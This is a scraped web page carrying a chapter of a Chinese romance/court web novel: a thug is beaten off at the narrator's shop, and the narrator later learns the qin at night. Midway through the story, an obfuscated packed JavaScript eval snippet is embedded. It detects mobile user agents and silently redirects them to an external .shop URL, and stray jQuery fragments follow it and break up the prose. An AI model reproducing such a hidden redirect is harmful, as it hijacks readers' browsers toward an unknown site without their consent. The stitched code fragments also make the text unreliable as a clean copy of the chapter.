文趣网 > 其他小说 > 我不是来当皇帝的 > 15. 夜奔裴府去
    大汉挨了一巴掌,还未反应过来,就被人拎了衣领,从店门飞了出去,狠狠砸在地上!

    哎哟一声,大汉发出一声惨叫 。

    “王八羔子,是谁打的老子!”

    “是老子打的你!”

    门外闪过一道银色身影,趾高气扬地仰着下巴,一脚踩在拼命挣扎的大汉背上,一手提着皮鞭,狞笑道:“再敢乱动,可别怪小爷鞭下不留情!”

    我这才看清来人面容。

    那张得意笑脸,俨然是首辅之孙——厉云开。

    乖乖,这大汉的名头我是没听过,厉云开可是个全京城都有名的主儿。他怎么会在这里,这帮我解了围,我以后不还得对他唯命是从了?

    厉云开一身银色骑行服,显是从马场回来的,他揪着大汉的耳朵,叫他喊爷爷,那大汉只是瞅了他一眼就顿时偃旗息鼓,不敢闹腾了。

    “好厉爷爷,您饶了我吧!”显然大汉是吃过亏的,厉云开还没踹他几脚,他就给服了软。

    “哼,孙硕,你爷爷是好久没有教训你了是吧,我兄弟的店面也是你敢来闹腾的?!”厉云开耀武扬威地提高了嗓门,在围观的人群里还朝我瞟了两眼。

    我往后退了一步,三四五姨娘纷纷低声问:“哎哟,这又是哪位爷?”

    我咽了咽口水,就见厉云开揪着那个叫孙硕的大汉,叫他赔我钱。

    孙硕哪敢怠慢,连忙从怀里掏出钱袋子,正想掏银子呢,厉云开又是一闷脚,踢得他直嗷嗷,连滚带爬地把整个钱袋子都呈到了我面前。

    “小的、小的有眼不识泰山……”

    看来厉云开那一巴掌不是好玩的,孙硕都肿了半边脸,嘴歪眼斜的,看起来好不狼狈。

    我接过他手里的钱袋子,清了清嗓子,朗声道:“以后、以后别再找麻烦了。”

    “知道了爷,我知道了。”说罢孙硕就一溜烟儿地跑了,头都不敢回。厉云开叉腰大笑几声,嘴里骂道:“孙硕,跟你老子带一句话,要玩真的就自己来,拿你这个瘪三当枪使,没用!玩这么下三滥的把戏,老子见一回打一回!”

    哎,这怎么话里有话?

    说罢厉云开就三步两步跑到我面前,扶住我的双肩,关切问:“晚津,你没事儿吧?!”

    我不大自在地讪笑 ,“额,我没事……”

    咱俩有很熟吗?干嘛这么抓着我。

    厉云开笑嘻嘻地说:”还好我来得及时,这小子不是个东西,当打手来着!“

    我问:“这是什么意思?”

    厉云开把我扯进店内,低声说:“他爹啊,是靖王的人!”

    我“哦”了一声,这才明白,感情还是被拿来开刀了。

    “裴大哥收你做学生,太子又对你青睐有加,都说你是太子面前的红人,上次赏梅宴我是没去,但听说太子把大氅都给你披上了,啧啧。”

    我从他手里挣脱,“那是太子瞧我、冻坏了 。”

    “哦,反正你等着吧,靖王会不断来找你麻烦的,咱们都经历过,过段时间他就消停了!哎,这就是几位姨娘罢!”

    厉云开朝我那三位花容失色的姨娘作了个揖,我三位姨娘连忙回礼。

    “哇,这些衣裳可真好看,我上次就说泱勉姨娘也帮我做一件……”

    “厉小将军,我家是成衣铺子,要收费的。”

    什么啊,我根本不想我三姨娘接他这个活儿,这个混世小魔王,要是不满他的意,保不准怎么闹腾。今天孙硕没砸成的店,他可是说砸就砸了。

    “嘿嘿,那当然!当然要给钱。”

    “很贵的!”我做出夸张表情,想吓唬他:“一百两银子一件!”

    “嘿嘿,小爷有的就是钱!”

    厉云开拍拍胸脯,把我接下来什么搪塞的、拒绝的话语都怼了回去。

    我无奈,却见三姨娘款款走出。

    “厉小将军看得上妾身的手艺,是妾身的荣幸,还请厉将军随妾身来量身……”

    “三姨娘!”我喊出声。

    厉云开却伸出手来捏了捏我的脸:“做你生意还不愿意?”

    我腾地红了脸,下意识往后一躲,腰后却猛地撞上柜台边沿,“砰”的一声闷响,我哎哟一声。

    “小心!”他脸色骤变,比我这几个姨娘还要慌张,连忙上前来扶,竟还要探手来看我的腰,“撞疼了没?撞哪儿了?”

    我满心狐疑,抬眼看他。算来算去,我与他也才见过第二面,有这么熟分么?

    他却只是笑,朝我眨了眨眼,那神情竟有几分狡黠的得意。不等我再开口,他已转身随三姨娘往后堂走去,步子轻快得很。

    真烦。

    隐隐感觉到不对劲,但都说不出来。

    这小子难道也是因为裴昀或者说是太子才对我如此的?

    哎,官场好复杂,我要回乡下。

    不过呢,我几个姨娘倒是开心,晚上回去一路念叨,说当时厉小将军就付了一百两银子做定金,因为他要四套!

    “四套,那就是四百两银子了!”我瞪大眼睛,哇,我已经好久没有看到这么多的钱了!

    “是呀是呀!”我三姨娘喜笑颜开,“这笔生意做成了,咱们铺子也算是站稳脚跟了!”

    “也有钱多聘请几个绣娘了,三姐就不用这么辛苦了。”四姨娘说。

    “我哪里辛苦,一点都不辛苦,今天汐儿为四妹挺身而出,真像是长大了。”三姨娘一边说一边爱抚我的头,四姨娘连忙说:“是呀,把我挡在身后,像个顶天立地的男子汉!我可感动了,汐儿。”

    被几个姨娘你抱抱我亲亲,我傻笑个不停,嘟囔着说:“还是差点挨了打。”

    “哎,许是该多练练剑。”二姨娘婉转地叹了口气,爱怜地看我,又对六姨娘说:“绵儿,你可以带他耍耍刀,这官场啊,太复杂,咱们汐儿在外面总受欺负。”

    “耍刀太辛苦,汐儿受不住的。”

    “……”

    你一言我一句的,饭厅里几个热菜热气腾腾,还烧了我爱吃的牛肉炖萝卜。我觉得一切真好,过日子怎么了,报完我爹的仇,我就要过这种日子,美美满满的小日子。

    我心里念叨着,不停地念叨着 ,念叨着虽然自己什么都不会,念叨着自己在他眼底什么都不是,也能过得幸福美满,我才不要为他而改变,我才不要在意他那些假大空的话。

    我就是个乡绅之子,我就是个普通人,这辈子唯一一次走运就是中了个探花,好运就在那里到头。

    只是不知为何,每当夜深人静时刻,长久不能入眠时,我总会想起裴昀那日的愤怒。

    毕竟对于一个男人来说,被人嫌弃不争气,尤其是心上人的嫌弃,多多少少涉及到一些自尊心的问题。

    不愿意承认,我到底在意裴昀的话。

    在意到不能睡着。

    二姨娘的厢房里总是彻夜亮着烛光,我推开了她的房门。

    “汐儿。”她坐在琴后,微笑着,好似 在等我。

    “姨娘,我是不是一无是处?”

    “谁说的,你在我心里什么都好 。”

    “可是,可是在他心里,我却什么都不会……”

    “谁?”

    我摇摇头,不愿再提。

    “傻瓜,你不是会弹琴吗?”她起身,把琴凳让给我。

    “可我弹不好。”

    “那就努力学,姨娘教你。”

    我鼻头发酸,坐到琴前,指尖放在了弦上。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940463|213903||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    烛火昏昏的,在夜里漾开一团薄光。

    二姨娘从我身后探出双手,低垂着眼眉,烛光把她的侧影描得极淡,像画里走出来的仙人似的。

    “汐儿,看好了。”

    她终于起指。第一个音落下去的时候,我不知怎的,心头忽然一紧。那声音不响,却蕴着绵绵情谊,像是多年的思念裂开了一道口子。

    我知道,她是想我爹了。

    手指在弦上缓缓滑过,动作轻得几乎不像在弹琴,倒像是在抚摸什么旧物。昏光里,她腕间那只白玉镯子随着动作微微晃动,映出一点幽幽的光。那镯子太素净了,而我二姨娘美得华丽,若非家道中落,又怎会让她如此委屈。

    琴音低回,一曲将尽时,她的脸隐在暗处,只看得见唇边一点若有若无的弧度。那弧度不是笑,倒像是一声叹息,还没来得及出口,就凝在了脸上。

    “……二姨娘?”

    她收了手,偏过头来看我,烛火在她眼底跳了跳,像是有什么话要说,终究只是轻轻拍了拍我的手背:“你来试试。”

    我伸手去够那琴弦,指尖刚触上去,便被那微微的凉意惊了一下。不知怎的,忽然想起娘亲。

    她走的那年,我哭得昏天黑地,几位姨娘怎么都哄不好,只记得有一回夜里醒来,隐约听见琴声,断断续续的,像是有人在哭。

    后来才知道,那是二姨娘。我以为二姨娘只会为我爹弹琴的。

    窗外不知何时起了风,烛焰晃了晃,险些灭掉。二姨娘伸手去护,衣袖滑落,露出那段清瘦的手腕。她回过头来对我笑,娇俏却悲伤。

    “二姨娘,你是不是想回清溪郡了?若是你觉得在煌都乏闷,清溪郡的旧宅收拾收拾还能住。”

    “咿,这么快就想赶姨娘走了?”

    “什么话,我知道煌都城既不美,又无风情,而姨娘你是最爱美的,我还记得你说过,你是在江南水乡长大的,你最爱有水的地方。”

    “是啊 ,我喜欢接天莲叶,喜欢小舟荡漾”姨娘一声叹息,露出心驰神往的表情。

    “可煌都什么都没有,除了狡诈的人心。”

    “那我就更不能走了,我的汐儿要是受了欺负,还能在姨娘怀里哭一哭。”

    我抿嘴,道:“我不会再哭了,姨娘,他不喜欢我哭。”

    “谁 ?

    我难过地摇头,根本不想说那两个字。许是我聪慧的二姨娘早就知道我所指为谁,她也不追问,只是叫我抚上一曲。

    “我不开心的时候,就爱弹曲儿。汐儿要是不开心,可以借曲抒情。”

    这是首表达思念的曲子,原是我姨娘最爱弹的一曲,在我指尖下,初始生涩,却在不知不觉中,我的心事顺着指尖流淌到了琴弦上,脑海里浮现出那张面容,叫我感到难以呼吸。

    原来爱一个人是这样的感觉。

    起先觉得他对我有意,如今看来,或许都是自作多情。

    齐汐啊齐汐,你这个傻蛋,什么都不确定,就这样把心给交托出去了,还交给仇人,你怎么对得起你爹娘的在天之灵!

    琴声越发急促,我的指尖也越来越快,思绪如流水,哗啦啦地往外淌,根本不受我的控制。裴昀那张清冷艳绝的脸,那颀长俊逸的身姿,不断向我靠近,靠近,直到把我拥入怀中,在我耳畔说——“我想你”。

    原不是他想我,而是我想他想的发了疯!

    气急之下,指尖更加用力,嘣的一声,琴弦猝断,割伤了我的手指!

    我抱歉地抬起头,只见二姨娘笑眼盈盈地看着我。

    “汐儿不是为我定了一柄新的吗?”

    我张了张嘴,泪水汹涌而下。

    当夜,我跑出厢房,直奔裴府而去。